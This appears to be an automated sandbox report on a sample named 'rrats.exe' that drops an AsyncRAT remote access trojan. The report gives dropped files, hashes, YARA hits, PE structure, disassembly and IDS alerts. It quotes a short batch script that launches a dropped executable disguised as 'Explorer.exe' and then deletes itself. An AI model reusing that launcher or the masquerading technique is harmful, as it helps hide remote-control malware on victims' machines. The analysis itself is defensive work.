Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........NB. .. .. .S6... .S6..j. .S6.... .F.... .F.$... .F.#.. .F.%.. ..... ..... ..!.. ...%... ... .. ...... ...".. .Rich. .................PE..L..... b.................b.......... B............@.......................................@.........................0...4...d...P...............................x(......T...............................@...............,............................text....a.......b.................. ..`.rdata..............f..............@..@.data...`]...0......................@....didat..`...........................@....rsrc...............................@..@.reloc..x(.......*..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	67584
Entropy (8bit):	5.599686577325716
Encrypted:	false
SSDEEP:	1536:6HDTgTiogco7Uk7u9LbMqDLuMYFYZR4v7vf+:6jTgTiogcq+LbM2CFc8m
MD5:	3D91C31A52BE4E262F7F18272294ED99
SHA1:	7C120A607650348FC4DFCDACDC77BF5885A9E6AC
SHA-256:	B99B28B82C9DA1B009898DA323D4793DDE7828EFCF777A56A835D54CBFEC849D
SHA-512:	D17CC9DB4D263ADDD524BAA7B67974B2D4F0B904F46367CD6138805CD65A8364EA700A9DF147DBB6DAC8B1E7288A87FE24C497E1B1825F49B576E101789856D1
Malicious:	true
Yara Hits:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xc................................. ... ....@.. .......................`............`.....................................W.... .......................@....................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H........v...............s.................................................V..;...$0.xC.=VD..b......9A../.\.....{...."..}......{...."..}......{...."..}....J.(.....s....}....2s6....o2...2.{....o.....s...........(.....s..........(7....~............~............~............~ ...... ....~!......!....~"......"....~#......#....~$....~%......%....~&......&....~'......'....(B......2~.....oC....s.....$...jsq...%.oV...%.oW...oX...&.(>....(b...

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0t1rvepx.vir.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cllnkhuo.2zm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ffmqdsaj.0sx.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ixlgf3lw.rla.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ndnvu1q1.4up.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pi25ikrw.vmy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u5velkj0.3um.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zgjbzir1.23f.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmpE75F.tmp.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	154
Entropy (8bit):	5.0398316696236245
Encrypted:	false
SSDEEP:	3:mKDDCMNqTtvL5oUkh4EaKC54JBUbmqRDUkh4E2J5xAInTRIKSQjlI7ZPy:hWKqTtT69aZ5UUbmq1923fTrS2Sk
MD5:	BCAA36EF13CD758D6ACA68C3FAE68A36
SHA1:	1890F9E72463041E806111519DBA2D260C3405DA
SHA-256:	E5DA7781104EE5250D657341A74870E28A3741DA0CC5CEB6C2D2998DB5E02807
SHA-512:	B194B50675831BE984BA814ACCC6B081FE3A7B7B2B819195CE5193B8A3DEAD833CB7271E00DF07811FDEF354B91FB8F8531036336DE5ACFECA245D8BB4EB76C5
Malicious:	false
Preview:	@echo off..timeout 3 > NUL..START "" "C:\Users\user\AppData\Roaming\Explorer.exe"..CD C:\Users\user\AppData\Local\Temp\..DEL "tmpE75F.tmp.bat" /f /q..

C:\Users\user\AppData\Local\explore.exe

Download File

Process:	C:\Users\user\AppData\Roaming\Explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	67584
Entropy (8bit):	5.599686577325716
Encrypted:	false
SSDEEP:	1536:6HDTgTiogco7Uk7u9LbMqDLuMYFYZR4v7vf+:6jTgTiogcq+LbM2CFc8m
MD5:	3D91C31A52BE4E262F7F18272294ED99
SHA1:	7C120A607650348FC4DFCDACDC77BF5885A9E6AC
SHA-256:	B99B28B82C9DA1B009898DA323D4793DDE7828EFCF777A56A835D54CBFEC849D
SHA-512:	D17CC9DB4D263ADDD524BAA7B67974B2D4F0B904F46367CD6138805CD65A8364EA700A9DF147DBB6DAC8B1E7288A87FE24C497E1B1825F49B576E101789856D1
Malicious:	true
Yara Hits:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Local\explore.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\explore.exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: C:\Users\user\AppData\Local\explore.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xc................................. ... ....@.. .......................`............`.....................................W.... .......................@....................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H........v...............s.................................................V..;...$0.xC.=VD..b......9A../.\.....{...."..}......{...."..}......{...."..}....J.(.....s....}....2s6....o2...2.{....o.....s...........(.....s..........(7....~............~............~............~ ...... ....~!......!....~"......"....~#......#....~$....~%......%....~&......&....~'......'....(B......2~.....oC....s.....$...jsq...%.oV...%.oW...oX...&.(>....(b...

C:\Users\user\AppData\Roaming\Explorer.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	67584
Entropy (8bit):	5.599686577325716
Encrypted:	false
SSDEEP:	1536:6HDTgTiogco7Uk7u9LbMqDLuMYFYZR4v7vf+:6jTgTiogcq+LbM2CFc8m
MD5:	3D91C31A52BE4E262F7F18272294ED99
SHA1:	7C120A607650348FC4DFCDACDC77BF5885A9E6AC
SHA-256:	B99B28B82C9DA1B009898DA323D4793DDE7828EFCF777A56A835D54CBFEC849D
SHA-512:	D17CC9DB4D263ADDD524BAA7B67974B2D4F0B904F46367CD6138805CD65A8364EA700A9DF147DBB6DAC8B1E7288A87FE24C497E1B1825F49B576E101789856D1
Malicious:	true
Yara Hits:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Roaming\Explorer.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\Explorer.exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: C:\Users\user\AppData\Roaming\Explorer.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xc................................. ... ....@.. .......................`............`.....................................W.... .......................@....................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H........v...............s.................................................V..;...$0.xC.=VD..b......9A../.\.....{...."..}......{...."..}......{...."..}....J.(.....s....}....2s6....o2...2.{....o.....s...........(.....s..........(7....~............~............~............~ ...... ....~!......!....~"......"....~#......#....~$....~%......%....~&......&....~'......'....(B......2~.....oC....s.....$...jsq...%.oV...%.oW...oX...&.(>....(b...

\Device\Null

Download File

Process:	C:\Windows\SysWOW64\timeout.exe
File Type:	ASCII text, with CRLF line terminators, with overstriking
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.41440934524794
Encrypted:	false
SSDEEP:	3:hYFqdLGAR+mQRKVxLZXt0sn:hYFqGaNZKsn
MD5:	3DD7DD37C304E70A7316FE43B69F421F
SHA1:	A3754CFC33E9CA729444A95E95BCB53384CB51E4
SHA-256:	4FA27CE1D904EA973430ADC99062DCF4BAB386A19AB0F8D9A4185FA99067F3AA
SHA-512:	713533E973CF0FD359AC7DB22B1399392C86D9FD1E715248F5724AAFBBF0EEB5EAC0289A0E892167EB559BE976C2AD0A0A0D8EFC407FFAF5B3C3A32AA9A0AAA4
Malicious:	false
Preview:	..Waiting for 3 seconds, press a key to continue ....2.1.0..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.355929597315391
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	rrats.exe
File size:	506'223 bytes
MD5:	a2bdb024c98b7e8d3d06fc86e110d204
SHA1:	2442360d37bf7e60b0d20c447bf5a0b51635a1d4
SHA256:	72cd6d490f03122c90b4a52c8bc7fb5b938123eaf4926b5cc5cee14f44bef3cf
SHA512:	b60afa45e29ddee3e3dc0d7e61bd5b9f3fb1d0c03a0655ab8f6c80b1fc5d6ff51f1b07a1af7ab1ce28d373f990d830f2f1c6e3c0e1efbaa280361a250ecb6850
SSDEEP:	6144:rTouKrWBEu3/Z2lpGDHU3ykJVX+tLC/Jm808PYfz1b8s4GYAMwX:rToPWBv/cpGrU3yUX+tLGA8mJbV2o
TLSH:	7EB4E0027AC188B2D0631D325A796B21A93DBD202F75CEEF63D42A6DDA316C0D735772
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x_c.<>..<>..<>......1>.......>......$>...I..>>...I../>...I..+>...I...>..5F..7>..5F..;>..<>..)?...I...>...I..=>...I..=>...I..=>.

File Icon


Icon Hash:	1515d4d4442f2d2d

Static PE Info

General

Entrypoint:	0x41f530
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6220BF8D [Thu Mar 3 13:15:57 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	12e12319f1029ec4f8fcbed7e82df162

Entrypoint Preview

Instruction
call 00007F5678C2ABDBh
jmp 00007F5678C2A4EDh
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F5678C1D337h
mov dword ptr [esi], 004356D0h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 004356D8h
mov dword ptr [ecx], 004356D0h
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 004356B8h
push eax
call 00007F5678C2D97Fh
test byte ptr [ebp+08h], 00000001h
pop ecx
je 00007F5678C2A67Ch
push 0000000Ch
push esi
call 00007F5678C29C39h
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F5678C1D2B2h
push 0043BEF0h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F5678C2D439h
int3
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F5678C2A5F8h
push 0043C0F4h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F5678C2D41Ch
int3
jmp 00007F5678C2EEB7h
int3
int3
int3
int3
push 00422900h
push dword ptr fs:[00000000h]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x3d070	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3d0a4	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x64000	0xe51f	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x73000	0x233c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3b11c	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x355f8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x33000	0x278	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x3c5ec	0x120	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x31bdc	0x31c00	2831bb8b11e3209658a53131886cdf98	False	0.5909380888819096	data	6.712962136932442	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x33000	0xaec0	0xb000	042f11346230ca5aa360727d9908e809	False	0.4579190340909091	data	5.261605615899847	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3e000	0x24720	0x1000	9670b581969e508258d8bc903025de5e	False	0.451416015625	data	4.387459135575936	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didat	0x63000	0x190	0x200	c83554035c63bb446c6208d0c8fa0256	False	0.4453125	data	3.3327310103022305	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x64000	0xe51f	0xe600	87359dd25db4d139d87ccd958f448ad1	False	0.6252207880434782	data	6.58339595740304	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x73000	0x233c	0x2400	40b5e17755fd6fdd34de06e5cdb7f711	False	0.7749565972222222	data	6.623012966548067	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
PNG	0x64644	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced	English	United States	1.0027729636048528
PNG	0x6518c	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced	English	United States	0.9363390441839495
RT_ICON	0x66738	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.47832369942196534
RT_ICON	0x66ca0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.5410649819494585
RT_ICON	0x67548	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.4933368869936034
RT_ICON	0x683f0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2834 x 2834 px/m	English	United States	0.5390070921985816
RT_ICON	0x68858	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2834 x 2834 px/m	English	United States	0.41393058161350843
RT_ICON	0x69900	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2834 x 2834 px/m	English	United States	0.3479253112033195
RT_ICON	0x6bea8	0x3d71	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9809269502193401
RT_DIALOG	0x6fc1c	0x2f8	data	German	Germany	0.4723684210526316
RT_DIALOG	0x6ff14	0x160	data	German	Germany	0.59375
RT_DIALOG	0x70074	0xf0	data	German	Germany	0.6916666666666667
RT_DIALOG	0x70164	0x148	data	German	Germany	0.5792682926829268
RT_DIALOG	0x702ac	0x354	data	German	Germany	0.43896713615023475
RT_DIALOG	0x70600	0x278	data	German	Germany	0.5759493670886076
RT_STRING	0x70878	0x234	data	German	Germany	0.39361702127659576
RT_STRING	0x70aac	0x268	data	German	Germany	0.39285714285714285
RT_STRING	0x70d14	0x218	data	German	Germany	0.416044776119403
RT_STRING	0x70f2c	0x1a0	data	German	Germany	0.5288461538461539
RT_STRING	0x710cc	0x5c4	data	German	Germany	0.3313008130081301
RT_STRING	0x71690	0x1a8	data	German	Germany	0.4363207547169811
RT_STRING	0x71838	0x198	data	German	Germany	0.4950980392156863
RT_STRING	0x719d0	0x168	data	German	Germany	0.425
RT_STRING	0x71b38	0xf0	data	German	Germany	0.5791666666666667
RT_STRING	0x71c28	0x13c	data	German	Germany	0.4936708860759494
RT_GROUP_ICON	0x71d64	0x68	data	English	United States	0.7019230769230769
RT_MANIFEST	0x71dcc	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3957333333333333

Imports

DLL	Import
KERNEL32.dll	GetLastError, SetLastError, FormatMessageW, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, CreateDirectoryW, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, InterlockedDecrement, GetVersionExW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleFileNameW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, GetCurrentProcessId, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, SetCurrentDirectoryW, GetExitCodeProcess, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetTimeFormatW, GetDateFormatW, GetNumberFormatW, DecodePointer, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, GetOEMCP, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, TerminateProcess, LocalFree, RtlUnwind, EncodePointer, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, HeapReAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage
OLEAUT32.dll	SysAllocString, SysFreeString, VariantClear
gdiplus.dll	GdipAlloc, GdipDisposeImage, GdipCloneImage, GdipCreateBitmapFromStream, GdipCreateBitmapFromStreamICM, GdipCreateHBITMAPFromBitmap, GdiplusStartup, GdiplusShutdown, GdipFree

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
German	Germany

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-09T14:12:40.786601+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49760	172.67.19.24	80	TCP
2024-12-09T14:12:53.020544+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49795	172.67.19.24	443	TCP
2024-12-09T14:13:02.207565+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49819	172.67.19.24	443	TCP
2024-12-09T14:13:08.614808+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49836	172.67.19.24	80	TCP
2024-12-09T14:13:11.467632+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49844	172.67.19.24	443	TCP
2024-12-09T14:13:20.624120+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49869	172.67.19.24	443	TCP
2024-12-09T14:13:29.787528+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49894	172.67.19.24	443	TCP
2024-12-09T14:13:36.117241+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49911	172.67.19.24	80	TCP
2024-12-09T14:13:38.962820+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49919	172.67.19.24	443	TCP
2024-12-09T14:13:48.479837+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49942	172.67.19.24	443	TCP
2024-12-09T14:13:54.927268+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49959	172.67.19.24	80	TCP
2024-12-09T14:13:57.774564+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49968	172.67.19.24	443	TCP
